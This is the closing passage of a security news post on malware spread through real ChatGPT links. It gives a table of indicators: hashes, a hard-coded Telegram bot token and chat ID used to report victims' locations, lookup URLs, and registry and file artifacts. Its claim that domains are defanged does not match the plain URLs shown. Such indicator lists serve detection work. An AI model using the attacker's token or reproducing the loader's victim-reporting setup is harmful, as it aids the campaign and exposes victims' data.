SHA-256	b11380f81b0a704e8c7e84e8a37885f5879d12fbece311813a41992b3e9787f2	Hash of extracted REMcmdsTUB.exE
MD5	5be6fb8f28544d4f83c25a2b76ff7890	MD5 hash of extracted REMcmdsTUB.exE
Telegram bot token	8860131546:AAEw4RsooG63J16vrY1o5b9ZwXOnP_Nl_gQ	Hard-coded token used by the decoded loader
Telegram chat ID	-1004488044983	Destination for victim launch telemetry
Abused service domain	api.telegram.org	Telegram API endpoint used for data reporting
Geolocation URL	http://ip-api.com/json/?fields=query,country,city,regionName,isp,timezone	Endpoint queried for victim IP and location details
IP lookup URL	https://api.ipify.org	Public IP address fallback service
Host artifact	%ProgramData%\.ch_912137a8cc4c	Marker path checked by the loader
Registry artifact	HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU	Windows Run-dialog history location cleared by the loader
MP4 UUID identifier	6d5c057efe144b31bce5b7cf90b066a5	Custom MP4 data-box identifier used during payload extraction

Note: IP addresses and domains are intentionally defanged (e.g., [.]) to prevent accidental resolution or hyperlinking. Re-fang only within controlled threat intelligence platforms such as MISP, VirusTotal, or your SIEM.

Prevent incidents due to slow investigations. Power your Tier 1 with threat intelligence from 15K SOCs: Integrate TI Lookup in your SOC

The post Hackers Abuse Real ChatGPT Links to Trick Windows Users Into Installing Malware appeared first on Cyber Security News.